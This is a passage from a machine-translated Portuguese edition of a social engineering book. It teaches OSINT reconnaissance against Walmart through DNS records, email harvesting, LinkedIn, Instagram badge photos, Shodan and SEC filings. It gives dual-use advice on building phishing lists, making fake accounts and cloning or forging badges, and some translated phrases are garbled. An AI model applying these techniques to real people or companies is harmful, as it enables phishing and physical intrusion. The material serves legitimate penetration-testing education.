[*] Registro TXT: "adobe-idp-site-verification=7f3fb527466337ac0ac0752c569ca2ac48926dc6c6dad3636d
581aa131a1cf3e"
[*] Registro TXT: "v=spf1 ip4:161.170.248.0/24 ip4:161.170.244.0/24 ip4:161.170.236.31 ip4:161.170.238.31
ip4:161.170.241.16/30 ip4:161.170.238.31 ip4:161.170.241.16/30 ip4:161.170.245.245 .245 . 161.170.249.0/24
include:Walmart.com include:_netblocks.walmart.com include:_vspf1.walmart.com include:_vspf2.
walmart.co" "m incluem:_vspf3.walmart.com ~all"
[*] 2[netblock] 161.170.248.0/24
[*] [netblock] 161.170.244.0/24
[*] [host] <em branco> (161.170.236.31)
[*] [host] <em branco> (161.170.238.31)

Reunião de Negócios OSINT 47


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

[*] [netblock] 161.170.241.16/30


[*] [netblock] 161.170.245.0/24
[*] [netblock] 161.170.249.0/24
[*] Registro 3TXT: "facebook-domain-verification=ximom3azpca8zph4n8lu200sos1nrk"
[*] Registro 4TXT: "adobe-idp-site-verification=5800a1970527e7cc2f5394a2bfe99bcda4e5938e132c0a19
139fda9bf6e30704"
[*] Registro 5TXT: "docusign=5bdc0eb1-5fb2-471c-99a0-d0d9cc5fdac8"
[*] Registro 6TXT: "MS=E4F53D5B1A485B7BA06E0D36A9D38654A16609F3"

O registro SPF lista verificações de domínio para Adobe, Facebook,


DocuSign, Microsoft e Google. O registro de texto (TXT) que começa com MS= indica que o
Walmart usa o Microsoft Office 365 6. Ele também usa adobe
-idp-site-verification para validar domínios para produtos Adobe Enterprise como Creative
Cloud 4. O registro TXT facebook-domain-verification restringe os domínios que editam a página
oficial do Facebook para o domínio 3. O registro TXT que começa com docusign= indica que o
site usa DocuSign para assinar documentos oficiais 5.

Observe pphosted.com 1 listado como host. Isso indica o uso do Proofpoint,


uma tecnologia anti-spoofing que adiciona uma mensagem personalizada, geralmente a
string [EXTERNAL], à linha de assunto dos e-mails recebidos, facilitando a identificação
de phishes ou tentativas de comprometimento de e-mail comercial.
Alguns intervalos de rede também são listados 2. Esses são o IP público do alvo
endereços, e os dois hosts listados são os principais servidores de correio. Você pode
confirmar isso usando outras ferramentas.

Usando outras ferramentas: theHarvester e OSINT Framework

Como o Recon-ng, o theHarvester é uma ferramenta OSINT de linha de comando baseada em


Linux disponível gratuitamente como parte do Kali e do Buscador. Você também pode encontrá-lo no GitHub.
Escrito por Christian Martorella, theHarvester requer chaves API para Shodan e
Google Custom Search Engine (CSE). Você pode inserir essas chaves nos seguintes
arquivos:

theHarvester path/discovery/googleCSE.py

theHarvester path/discovery/shodansearch.py

No theHarvester, você pode usar interruptores para direcionar a ferramenta para


executar tarefas. A decisão de usar o theHarvester em vez do Recon-ng é uma questão
de preferência. Mesmo se você usar o Recon-ng como sua ferramenta principal, você pode
querer obter uma segunda opinião usando o Harvester para ver se o Recon-ng perdeu
alguma informação adicional.
Estrutura OSINT (https:// osintframework.com) é uma coleção de ferramentas
baseada em GUI. Com curadoria de Justin Nordine, o OSINT Framework agrupa
recursos com base no que você está procurando (Figura 4-8).

48 Capítulo 4
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 4-8: Estrutura OSINT

Encontrar endereços de e-mail com o Hunter

Freqüentemente, você precisará encontrar endereços de e-mail e o syn tax de endereço de e-mail de
uma empresa (o formato que a empresa usa para os endereços de e-mail de seus funcionários). Caçador
é uma excelente ferramenta para ajudar a enumerá-los. Sem fazer login, você pode obter a sintaxe
básica do endereço de e-mail usado na empresa. Depois de criar uma conta e fazer login, você pode
obter as sintaxes de endereço de e-mail mais comuns, endereços de e-mail completos da empresa e,
ocasionalmente, o cargo de uma pessoa.
A Figura 4-9 mostra a saída de uma pesquisa não autenticada.

Figura 4-9: Resultados de pesquisa do Hunter para um usuário não autenticado (Nota: Hunter censurou esses resultados.)

Reunião de Negócios OSINT 49


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A Figura 4-10 mostra uma pesquisa autenticada que retorna um e-mail válido
endereços para o nosso domínio de destino, bem como onde foram encontrados.

Figura 4-10: Resultados do Hunter para um usuário autenticado. (Nota: o autor censurou esses resultados.)

Ao observar esses resultados, você pode deduzir a sintaxe dos endereços de e-mail da
empresa. Você pode, então, girar para o LinkedIn e o site corporativo para obter mais nomes
e, em seguida, juntar mais endereços de e-mail caso queira phishing essas pessoas.

A Hunter fornece vários níveis de serviço; no momento em que este livro foi escrito,
eles variam de gratuitos (100 solicitações por mês e nenhuma exportação de CSV) até US$
399 por mês, o que inclui 50.000 solicitações e permite exportações de CSV.

Explorando ferramentas de mapeamento e geolocalização

Você provavelmente já usou o Google Maps ou o Bing Maps para se orientar usando
visualizações de mapa, visualizações de satélite e visualizações tiradas da rua. Quando se
trata de coletar OSINT, os modos de visualização de satélite e rua geralmente são os mais
valiosos.
A visão de satélite pode mostrar portões, lixeiras, antenas parabólicas, entradas e
saídas, esquemas de estacionamento e instalações adjacentes. Você pode ampliar bastante
alguns sites para ajudá-lo a determinar esconderijos, entradas e áreas para fumantes.

A vista da rua permite que você veja o prédio e as instalações como você veria
se você andou ou dirigiu. Nessa exibição, você pode identificar o seguinte:

•Fornecedor de lixeiras (informações úteis para pretexto no local que podem ajudá-lo a
obter acesso ao prédio ou mergulho na lixeira)

50 Capítulo 4
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

• Portões, portas e cercas, e se eles são deixados abertos rotineiramente (e, às vezes, a presença
de guardas de segurança)

•Empresas de entrega cujos caminhões estão estacionados do lado de fora

• Os nomes específicos dos edifícios, como o Walmart Innovation


Center, Walmart People Center ou Walmart Home Office, que podem ajudá-lo a se integrar
melhor à organização (uma maneira rápida de se expor é ligar para funcionários da Disney ou
do Walmart em vez de membros do elenco ou associados, respectivamente); •Outros inquilinos

Durante o DerbyCon SECTF que mencionei no início deste capítulo, usei o Google Maps
para determinar os fornecedores de remessa para minha empresa-alvo, verificando quais
caminhões estavam dentro dos limites dos portões. Eu poderia ter usado essa informação para
obter acesso físico, talvez encontrando um uniforme em um brechó ou como um pretexto vishing
para ligar sobre uma remessa.

O uso do Google Maps e do Bing Maps pode fornecer informações melhores, pois a origem
dos dados dos aplicativos é diferente. Além disso, as imagens são coletadas em dias diferentes,
então você pode, por exemplo, encontrar um caminhão de entrega em um aplicativo, mas não em
outro, uma nova lixeira em uma foto mais recente ou nomes de fornecedores mal censurados.

Conclusão
Você pode seguir vários caminhos para coletar OSINT. Este capítulo apenas arranha a superfície
dos recursos dessas ferramentas e serve como ponto de partida para ajudá-lo a aplicar as técnicas
OSINT à engenharia social, teste de penetração ou qualquer outra aplicação ética. Por meio dos
exercícios deste capítulo, você coletou domínios, endereços IP, endereços de e-mail, nomes e
tecnologias associadas a empresas que usam ferramentas de código aberto.

O próximo capítulo aborda estratégias para coletar OSINT sem ferramentas sofisticadas. O
Capítulo 6 cobre as operações OSINT contra pessoas.

Reunião de Negócios OSINT 51


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

5
MÍDIA SOCIAL E
DOCUMENTOS PÚBLICOS

No capítulo anterior, discutimos o uso de ferramentas


sofisticadas para coleta OSINT.
No entanto, nem sempre você precisa de ferramentas
sofisticadas para obter as informações de que precisa. Muitas
vezes, basta olhar para as plataformas de mídia social. Neste capítulo,
discutiremos como alguns dos posts mais inocentes da internet podem ser
transformados em armas. Você aprenderá como coletar OSINT dessas
plataformas, bem como algumas plataformas que não são mídias sociais, mas
são igualmente impactantes. Você lerá os documentos públicos de uma
empresa e aprenderá a fazer capturas de tela automáticas para documentar suas descoberta

Analisando mídias sociais para OSINT


As plataformas de mídia social nos fornecem informações sobre a vida das pessoas
e empresas que visamos. Embora algumas organizações tenham políticas de mesa
limpa que exigem que os funcionários removam informações confidenciais de suas
mesas quando estão de folga, no almoço ou fora do escritório, muitas dessas políticas não
incluem fotos tiradas em dispositivos pessoais. Como resultado, as pessoas postam publicamente
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

sobre o que quer que os preocupe ou os excite, seja em casa ou no trabalho.


Isso dá aos investigadores do OSINT um tour de acesso total às instalações de uma
organização e geralmente nos permite ver mais do que veríamos em um tour pessoal.
No Capítulo 6, revisitaremos os sites de mídia social como um meio de aprendizado
sobre a pessoa que está postando.

LinkedIn
O LinkedIn é uma excelente rede social profissional. Muitos de seus usuários são um pouco
abertos demais sobre sua experiência, revelando todas as tecnologias e processos usados
internamente. Ao pesquisar os funcionários da empresa no site, podemos preencher uma lista
de alvos para phishing, encontrar as tecnologias usadas na empresa e enumerar funções que
poderíamos desempenhar em ataques de vishing.
O LinkedIn é uma mina de ouro OSINT, especialmente para empresas menores com
pegadas online menores.

OBSERVAÇÃO Alguns dos recursos de análise discutidos aqui estão disponíveis apenas para usuários
do LinkedIn Premium, que no momento da redação deste artigo custa US$ 29 por mês. Lembre-
se de que os recursos (para qualquer produto ou serviço) mudarão para melhor e para pior.
Meu foco nestas seções é menos sobre as ferramentas e recursos e mais sobre as técnicas.

Informações gerais da empresa

Vamos dar uma olhada na página de negócios do Walmart no LinkedIn (Figura 5-1). No topo da
página, podemos ver quantos seguidores o Walmart tem, quantas conexões dessa conta
funcionam no Walmart, um ticker da bolsa e uma visão geral da empresa. A seção Sobre nós
também fornece informações gerais sobre o Walmart.

Figura 5-1: Detalhes da empresa do Walmart no LinkedIn

54 Capítulo 5
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Mais abaixo, a página lista o site e os endereços de todos os principais sites do


Walmart, informações sobre quando e onde a empresa foi fundada, a localização da sede, o
tamanho da empresa e suas especialidades.

Informação de trabalho

Como as pessoas costumam usar o LinkedIn como um quadro de empregos, as páginas da


empresa listam informações pertinentes aos candidatos a emprego, como a contagem de
funcionários conhecidos e se está aumentando ou diminuindo (Figura 5-2).

Figura 5-2: Detalhes do funcionário do Walmart no LinkedIn

O tempo médio de permanência de um funcionário pode nos ajudar a interagir com


alcatrões durante phishing e vishing. Podemos estimar a probabilidade de um funcionário
conhecer um funcionário de outro local, especialmente em grandes empresas com mais de
300.000 funcionários, como o Walmart. Da mesma forma, os dados do LinkedIn sobre a
distribuição de funcionários, crescimento e novas contratações podem nos dar uma visão sobre a
probabilidade de encontrarmos uma nova contratação se, digamos, telefonarmos para os
escritórios.

Empregados da Empresa

Uma página separada lista os usuários do LinkedIn que são funcionários da empresa. Use isso
para ver o papel que cada pessoa desempenha. Por exemplo, a Figura 5-3 mostra alguém com o
cargo de analista de invasão, uma função de segurança cibernética que sugere que a empresa
monitora ativamente seus sites e redes em busca de comportamento malicioso.
Podemos avaliar a segurança da empresa por meio do número de funcionários de
segurança da informação. Uma maneira fácil de fazer isso é procurar nos perfis dos funcionários
os acrônimos de certificação. Verificar CISSP, GPEN, OSCP, CEH e Security+ são bons pontos
de partida. Bons cargos para pesquisar incluem os termos segurança da informação, segurança
cibernética, intrusão e CISO.

Mídia Social e Documentos Públicos 55


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 5-3: Funcionários do Walmart no LinkedIn

Esses perfis de funcionários também nos informam sobre as tecnologias que a empresa
utiliza. Ao pesquisá-los, podemos detectar a presença de soluções de gerenciamento de
eventos e incidentes de segurança (SEIM), proteções contra malware, filtragem de e-mail ou
VPNs. Além disso, eles nos ajudam a criar uma lista de e-mail para mais perfis e phishing.

Quadros de empregos e sites de carreiras

Funcionários, recrutadores e fornecedores de recrutamento terceirizados podem vincular-se


a páginas de carreiras ou quadros de empregos em suas mídias sociais. Como subproduto,
engenheiros sociais inteligentes, red teamers e investigadores OSINT podem coletar essas
informações e transformá-las em armas.
Dependendo de como o anúncio de emprego está escrito, você pode encontrar as chaves
do reino em uma única frase. Na Figura 5-4, você pode ver que o candidato deve ter experiência
no Oracle E-Business Suite (EBS) versão 12.2.7.
Isso diz a um possível invasor para procurar essa versão de software específica. A maneira como
esta postagem de carreira foi escrita pode levar um invasor a acreditar que também continua
usando a versão 11.5.10.2, que possui vulnerabilidades que datam de 2006.

Isso pode acontecer de várias maneiras. Primeiro, podemos procurar por


entradas de vulnerabilidades e exposições comuns (CVEs) pertencentes a este software
específico e, em seguida, verificar sites como https:// www.exploit-db.com para código de
exploração conhecido. Alternativamente, poderíamos usar essas informações em nossos
pretextos de phishing ou vishing. Finalmente, poderíamos apenas tentar usar força bruta em
qualquer instância pública do software em questão, o que seria o mais ruidoso e fora do escopo
da engenharia social ou OSINT.

56 Capítulo 5
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 5-4: Um anúncio de emprego muito detalhado

Outras coisas notáveis para procurar em postagens de emprego são menções de quais
gerente ao qual a função se reporta. Conhecer o organograma e quem ocupa cada função
pode ser útil na construção de pretextos em situações em que citar nomes ajudaria a sua
credibilidade. Também não limite isso às postagens atuais. Veja as postagens mais antigas
em sites como Indeed, Ladders e LinkedIn. Você também pode verificar https:// archive.org
para páginas mais antigas. Ao revisar postagens mais antigas, você pode ter uma ideia da
frequência com que a organização corrige ou atualiza seu software, bem como a cultura em
RH e segurança.

Facebook
O Facebook pode ser uma mina de ouro ou uma fossa, dependendo de quem você pergunta
e do que está procurando. Isso porque os dados são abundantes, mas minimamente
examinados, embora às vezes verificados. Muitas pessoas tendem a compartilhar demais
neste site (comportamento que exploraremos mais adiante no Capítulo 6). Nesta seção, nos
limitaremos a informações relacionadas a negócios sobre uma empresa e
seus clientes.
Para começar a analisar no Facebook, crie uma conta que você não usa por motivos
pessoais. Mesmo que criar uma conta falsa viole os Termos de Serviço do site, isso impedirá
que você apareça na guia Pessoas que você talvez conheça em seu perfil real. Você também
poderá postar em sua página publicamente sem confundir seus amigos legítimos e correr o
risco de tê-los fora de você. Tenha em mente que, após as controvérsias em torno do
envolvimento da Rússia nas eleições presidenciais dos EUA em 2016 e

Mídia Social e Documentos Públicos 57


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Em outros casos envolvendo práticas de dados e desinformação, o Facebook está reprimindo


contas falsas e aquelas que usam imagens geradas por inteligência artificial.

Como outra camada de segurança, evite usar os aplicativos móveis do site, porque eles
normalmente têm acesso a todos os aplicativos em seu dispositivo móvel e podem identificar
uma conta como pertencente a você sem qualquer outra entrada. Você também pode receber
anúncios cada vez mais pessoais, o que pessoalmente considero alarmante.

Agora, o que podemos encontrar no Facebook? Concorrentes, clientes, promoções, press


releases, notícias e sentimento do público em geral.

Informações da

empresa Na página do Facebook de uma organização (consulte a Figura 5-5 para o Walmart),
procure informações de contato, quaisquer cronogramas relevantes ou comunicados à imprensa.
Para empresas menores, é comum encontrar notícias sobre prêmios conquistados ou listas em
que foram adicionados. Você também pode ver postagens sobre atividades e realizações de
funcionários, especialmente se estiver mirando em uma consultoria.

Figura 5-5: Landing page do Walmart no Facebook

Veja a seção Sobre da página (Figura 5-6). É aqui que podemos encontrar números de
telefone, mesmo que sejam para um help desk, suporte ao cliente ou linha direta da empresa.
Podemos encontrar endereços de e-mail e quase certamente veremos o site deles.

As empresas também podem compartilhar uma linha do tempo de eventos – como


datas de fundação, realocações, fusões e aquisições e aposentadorias de funcionários
importantes – que podem nos fornecer informações para usar em nossos pretextos ou
compromissos.

58 Capítulo 5
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 5-6: página Sobre nós do Walmart no Facebook

Clientes e opinião pública

Ao visitar uma empresa, uma das maneiras mais astutas de fazer um funcionário falar
com você é se passar por um cliente. Você pode encontrar uma miríade de clientes reais
observando a guia Comunidade do Facebook e lendo as avaliações. Na Figura 5-7, a
guia Comunidade do Walmart mostra várias postagens feitas na página pelo público em
geral. Estes devem ser tomados como um grão de sal e no contexto. Algumas dessas
postagens são preocupações legítimas, mas outras são teorias da conspiração, alegações
infundadas, tentativas de se tornar viral e relatos de páginas falsas ou falsificadas.

Figura 5-7: página da comunidade do Walmart no Facebook

Mídia Social e Documentos Públicos 59


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

A guia Comunidade nos mostra a contagem de seguidores da empresa. Essa


métrica indica a força da marca e o quanto a empresa se envolve na interação e
aquisição do cliente.
Dê uma olhada nos tipos de postagens que os clientes compartilham no mural da
empresa e com que frequência as pessoas postam. A empresa responde a essas
postagens? A empresa demonstra empatia ou é fria? Isso pode nos ajudar a desenvolver
nosso dossiê para a empresa, bem como o dossiê que usamos como pretexto.
Às vezes, as pessoas compartilham postagens aleatórias no mural da empresa
na tentativa de se tornar viral. Leve isso em consideração e ajuste-o ao analisar.

Instagram
O Instagram é um tesouro de OSINT. Em uma competição Social Engineering Capture
the Flag (SECTF) da qual participei, encontrei mais de 90% das informações contra minha
empresa-alvo usando o Instagram.

Seguidores e Hashtags
Mais interessante do que quem segue a conta comercial é quem a conta
comercial segue. As contas da empresa geralmente seguem executivos e
influenciadores relevantes, bem como equipes de marketing e relações públicas.
Por exemplo, dê uma olhada em quem o Walmart segue (Figura 5-8). A lista inclui as
marcas que eles vendem e LeBron James.

Figura 5-8: Lista de contas que a página do Instagram do Walmart está seguindo

Pesquise também as hashtags que o alvo segue. Isso nos fala sobre
o que o alvo considera importante. As hashtags podem ser relevantes para uma
promoção que a empresa está realizando, por exemplo, ou indicar se sua equipe
de mídia social é desleixada. As hashtags também podem ser sobre o

60 Capítulo 5
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

concorrentes da empresa. A partir das hashtags que o Walmart escolhe seguir (Figura 5-9),
aprendemos sobre iniciativas internas, incentivos ao cliente e possíveis jargões usados internamente.

Figura 5-9: Hashtags que o Walmart segue no Instagram

Encontrando Postagens com Marcas Georreferenciadas

Em seguida, saia da página do Instagram da empresa e pesquise no Instagram o endereço do


escritório da empresa. Isso nos leva a todas as postagens marcadas geograficamente neste endereço.
A marcação geográfica ocorre automaticamente quando os serviços de localização de um
dispositivo e de um aplicativo estão ativados. O local será incorporado à postagem e se tornará um
campo pesquisável. Nas fotos devolvidas, você provavelmente encontrará duas informações muito
úteis: crachás da empresa e fotos das mesas dos funcionários.

Fotos de crachás podem nos ajudar a identificar o fabricante e o design do crachá. Em


alguns casos, você pode clonar crachás de cartão-chave para obter acesso às instalações. Brent
White e Tim Roberts fornecem uma boa folha de dicas para usar o clonador de crachás da Proxmark
(e muito mais) em https://
wehackpeople.wordpress.com/ 2018/07/16/ proxmark-3-cheat-sheet-and-rfid-ladrão instruções/ .
Em outros casos, você pode replicar o design do crachá. Por exemplo, o
crachá do fornecedor do Walmart na Figura 5-10 mostra como são os crachás do fornecedor,
incluindo as fontes que eles usam e que possuem um código de barras e data de validade.

Podemos recriar o código de barras do crachá. Embora o crachá não contenha nenhum
número útil para identificação, ele inclui uma data - potencialmente útil em um estratagema
inteligente para obter acesso.

Mídia Social e Documentos Públicos 61


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 5-10: Um selo de fornecedor do Walmart encontrado no Instagram

Como alternativa, você pode fazer crachás falsos não funcionais. Você também
pode aprender como as pessoas se vestem no local, permitindo que você se misture. Por
exemplo, nas lojas do Walmart, os funcionários geralmente usam calças cáqui e uma
camisa azul escura com um avental e um distintivo. A Figura 5-11 mostra uma série de
fotos de crachás do Walmart, todas parecendo bastante inocentes até que um engenheiro
social ou agente mal-intencionado as utilize para obter acesso não autorizado às instalações.

Figura 5-11: Vários crachás de funcionários do Walmart encontrados no Instagram

62 Capítulo 5
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Fotos de mesas podem nos dizer mais sobre as tecnologias que uma empresa usa.
A Figura 5-12 mostra a foto de um cubículo de funcionário. O funcionário (associado) estava
se gabando de um cartão que recebeu, mas a foto também mostra que eles estão usando
um MacBook com Photoshop, Microsoft Office 2016 e Cisco WebEx aberto no dock do macOS.

Figura 5-12: Um cubículo de um funcionário do Walmart encontrado no Instagram

Aproveitando Shodan para OSINT


John Matherly desenvolveu Shodan (https:// www.shodan.io) em 2009 como um mecanismo de
busca para indexar dispositivos conectados à Internet. Na prática, isso significa que Shodan
verifica ativamente a Internet em busca de dispositivos inseguros e abertos e, em seguida,
insere esses dispositivos em seu banco de dados pesquisável e indexado para consumo do usuário.
Vejamos os principais métodos de análise usando Shodan.
O preço de uma associação Shodan varia de acordo com o nível de acesso, de gratuito
a US$ 899 por mês. Os níveis são definidos pelo número de ativos que você deseja monitorar
continuamente, o número de pesquisas que deseja fazer e se deve procurar vulnerabilidades
explícitas. A Shodan geralmente oferece promoções especiais da Black Friday, concedendo
acesso vitalício barato.

Usando os parâmetros de pesquisa do Shodan

Pesquise Shodan usando um dos seguintes parâmetros de pesquisa:

city Para definir a cidade a pesquisar no país


Para definir o país a pesquisar
geo Para pesquisar dentro de uma determinada latitude e longitude

Mídia Social e Documentos Públicos 63


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

hostname Para encontrar um nome de host específico


net Para pesquisar um endereço IP definido, intervalo ou CIDR
os Para encontrar um sistema operacional específico
porta Para encontrar portas abertas específicas
antes/depois Para definir um período de tempo para a pesquisa. Como as organizações
mudam sua arquitetura de hardware e software, e Shodan está sempre digitalizando, as
entradas mudarão. Definir um período de tempo pode ajudá-lo a encontrar padrões de
atualizações, bem como tecnologias atualmente implementadas e relevantes. Por exemplo,
se você sabe que uma organização usa o Cisco ASA, pode consultar as datas de
lançamento do software e compará-las com quando a alteração de versão aparece no
Shodan para ter uma ideia do ritmo de atualização.

Pesquisando endereços IP

Se você conhece um endereço IP ou intervalo, pode consultá-lo no Shodan para resolver o


host, serviços e banners de serviço (Figura 5-13). Isso ajudará se você estiver conduzindo este
OSINT para se preparar para um teste de penetração.

Figura 5-13: Enumeração Shodan de endereço IP e portas e serviços em execução com banners

Shodan também nos fala sobre o certificado TLS/SSL usado para criptografar o tráfego
da Web de e para o site. Se o certificado emprega cifras fracas, você pode contar isso como
um vetor de ataque para exploração técnica.

64 Capítulo 5
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Pesquisando nomes de
domínio Se você digitar o nome de domínio da sua organização de destino no Shodan,
o sistema responderá com todos os hosts conhecidos. Isso ajudará você a obter
informações sobre portas e protocolos em uso, bem como banners de serviço e versões de serviço.
Esse método também nos ajuda a identificar os tipos de sistemas conectados à
Internet que eles usam (como NGINX, Apache e IIS), além de nomes de host e
endereços IP.
A Figura 5-14 mostra o resultado de uma pesquisa pelo domínio walmart.com com
o qualificador de que os hosts devem pertencer às lojas Walmart. Isso evita a
extração de domínios irrelevantes que contenham a frase walmart.com ou sites com
links para walmart.com.

Figura 5-14: domínio Shodan e enumeração de endereços IP filtrados pelas lojas Wal-Mart

Pesquisando nomes de host e subdomínios


Se soubermos um nome de host ou subdomínio específico, podemos procurá-lo
no Shodan, da mesma forma que pesquisamos domínios. Shodan nos fornecerá
informações mais focadas, como endereço IP, serviço e portas abertas no host. As
informações específicas retornadas variam de acordo com o domínio e sua utilidade
depende do que planejamos fazer com as informações. Por exemplo, a Figura 5-15
mostra os servidores da Web Microsoft IIS que pertencem ao Walmart.

Mídia Social e Documentos Públicos 65


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 5-15: Enumeração adicional do endereço IP Shodan

Vemos o conjunto de caracteres, o código HTTP e, se existir uma vulnerabilidade


conhecida, o número CVE, que pode nos guiar para a exploração técnica, se esse for o
fim do jogo.

Capturas de tela automáticas com o Hunchly


Até agora neste capítulo, discutimos a mineração manual de páginas da Web em busca
de informações úteis. Mas quando você não está usando uma ferramenta OSINT dedicada
como o Recon-ng, nem sempre é fácil acompanhar todas as informações encontradas.
Hunchly (https:// www.hunch.ly) é uma extensão do Chrome (ou do navegador
Chromium como o Brave) que fornece capturas de tela de tudo o que você procura. Criado
por Justin Seitz, o Hunchly custa US$ 129 por ano no momento da redação deste artigo,
mas permite um teste gratuito de 30 dias. Se você conduzir investigações freqüentes do
OSINT, pagar pela licença vale o preço.
Para usar o Hunchly, baixe e instale o plug-in. No painel do Hunchly, você pode definir
uma investigação clicando no ícone + e selecionando Adicionar caso (Figura 5-16). Isso
classificará todas as capturas de tela feitas durante a sessão e as categorizará para o caso
específico. Pense nisso como um banco de dados.

Depois de adicionar o caso, certifique-se de permitir que o Hunchly registre sua


atividade selecionando o ícone azul no canto superior direito e ativando a extensão. Além
disso, certifique-se de selecionar o caso apropriado para salvar os arquivos.

Depois de ativar o Hunchly, simplesmente navegue pelo que estiver investigando


no navegador Chrome. Quando terminar, desative a extensão Hunchly e clique no botão
do painel para ver o que você coletou (Figura 5-17).

66 Capítulo 5
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Figura 5-16: Criando um novo caso

Figura 5-17: Painel do Hunchly com artefatos

Se você selecionar um artefato específico, poderá visualizar a captura


de tela e qualquer informação sobre ele, como o que você pesquisou, o
caminho do URL correspondente à pesquisa, a data em que você o coletou,
a data em que o site foi atualizado e um hash da captura de tela. Essa informação

Mídia Social e Documentos Públicos 67


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

é vital se você estiver coletando OSINT por motivos legais e usará a captura de tela como
prova no tribunal.

Furto de formulários da SEC

As empresas de capital aberto nos Estados Unidos devem produzir e enviar uma variedade
de documentos e formulários para manter a conformidade. Esses documentos provam à SEC
que todas as informações relatadas são verdadeiras e que a empresa não está infringindo
nenhuma lei. Como esses documentos estão disponíveis ao público, eles são uma ótima fonte
de OSINT.
Para encontrar os formulários SEC de uma empresa, navegue até o site SEC
EDGAR (https:// www.sec.gov/ edgar/ searchedgar/ companysearch.html). Você pode aprender
mais sobre os vários formulários da SEC na Investopedia, https:// www.investopedia.com/
artigos/ análise-fundamental/ 08/ sec-forms.asp.
Um formulário particularmente útil a ser observado é o Formulário 10-K da SEC, que é o
relatório anual da empresa. Ele fornece uma visão geral de como está a empresa
financeiramente, a equipe executiva, o conselho de administração, quaisquer problemas que
eles tiveram no ano passado e os riscos que os preocupam. O homem da SEC determina que
as empresas arquivem esses formulários dentro de 90 dias a partir do final do ano fiscal,
portanto, as datas de publicação podem variar.
Usando o 10-K do Walmart e o relatório anual de 2018, vamos examinar os pontos
de interesse para uma avaliação OSINT. Por exemplo, o relatório anual de 2018 do Walmart
diz o seguinte:

Estamos equipando e capacitando nossos associados para serem bem-sucedidos


com melhores informações, ferramentas e treinamento. Nas lojas, isso significa que
nossos associados estão gastando mais tempo impulsionando as vendas e menos
tempo realizando tarefas repetitivas. Abrimos academias de treinamento para
desenvolver ainda mais as habilidades de varejo de nossos associados e
implantamos novas tecnologias e aplicativos para ajudá-los a melhorar os níveis de
estoque e gerenciar melhor as mudanças de preços.

Isso nos permite saber duas coisas: a empresa chama seus funcionários de associados
e abriu academias de treinamento, informações que podem ser usadas para construir
relacionamento. Ao escrever um e-mail para um ataque de phishing, você pode até citar
diretamente tal relatório (consulte o Capítulo 7 para obter um exemplo dessa tática).
O formulário 10-K começa informando quando o ano fiscal termina, o que nos dá uma
ideia de quando será a maior urgência, em relação aos trimestres fiscais.
Um pouco mais abaixo no formulário, vemos onde a empresa está legalmente constituída;
seu endereço residencial, CEP e número de telefone principal; e seu número de identificação
do empregador (EIN).
No formulário 10-K de 2018 do Walmart, você pode encontrar os seguintes
em formação:

Uma declaração sobre a mudança do nome comercial de Walmart Stores, Inc. para
Walmart Inc.

Isso pode ser útil para envolver funcionários e fornecedores.

68 Capítulo 5
Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Uma seção chamada “Fatores de Risco e Incertezas que Afetam Nosso


O negócio"

Esta é uma excelente referência que ajudará um invasor a entender o modelo de


negócios da empresa e como ela percebe as ameaças.

Uma lista de sites que o Walmart usa para realizar negócios na internet

Aqui também vemos o que o Walmart considera ser seu concorrente. Na seção sobre
o Sam's Club, por exemplo, menciona a Costco.

Uma lista de pessoas-chave

Essa lista de funcionários de alto nível pode ser usada em ataques de caça e caça às
baleias. Também vemos as funções e idades dos funcionários, o que pode ajudar a
monitorar suas mídias sociais.

Uma discussão sobre como o Walmart usa a tecnologia

Isso nos permite ver como ela mitiga e percebe as ameaças associadas à sua
infraestrutura de tecnologia da informação.

Informações sobre a atividade legal do Walmart

Isso pode nos fornecer um contexto adicional sobre a forma como a empresa opera ou
nos ajudar a identificar alguém do departamento jurídico.

Informações sobre a empresa de auditoria que realizou uma auditoria independente


de terceiros

Isso nos dá mais contexto para o nosso pretexto.

Apresentações do conselho de administração e seus antecedentes

Isso nos fornece mais informações sobre como o Walmart faz negócios. Também nos
fornece informações que poderíamos usar para construir pretextos críveis para usar
contra seus associados.

Outros formulários que você deve procurar são 8-K (mudança no status do material)
e 10-Q (relatório trimestral). O 8-K normalmente envolve a concessão ou venda de ações. O
10-Q é uma versão incremental do 10-K produzido trimestralmente, mas com menos detalhes.

Conclusão
Este capítulo ilustrou a utilidade (e os perigos) das mídias sociais e outros recursos
disponíveis publicamente. As informações reunidas neste capítulo são uma boa base para
construir um ataque de engenharia social. Embora devamos armar apenas as informações de
que precisamos, é importante falar sobre o que encontramos, mas não usamos no relatório que
enviamos aos nossos clientes.

Mídia Social e Documentos Públicos 69


Machine Translated by Google

Engenharia social prática (acesso antecipado) © 2021 por Joe Gray

Afinal, estamos tentando ajudar nossas empresas clientes a se tornarem mais seguras.
Não queremos apenas obter acesso, bater no peito e repetir o exercício na próxima vez.

OSINT é mais do que coletar tudo o que existe sobre um determinado alvo. Parte
do OSINT está analisando dados e descobrindo maneiras de explorá-los. Para alguns,
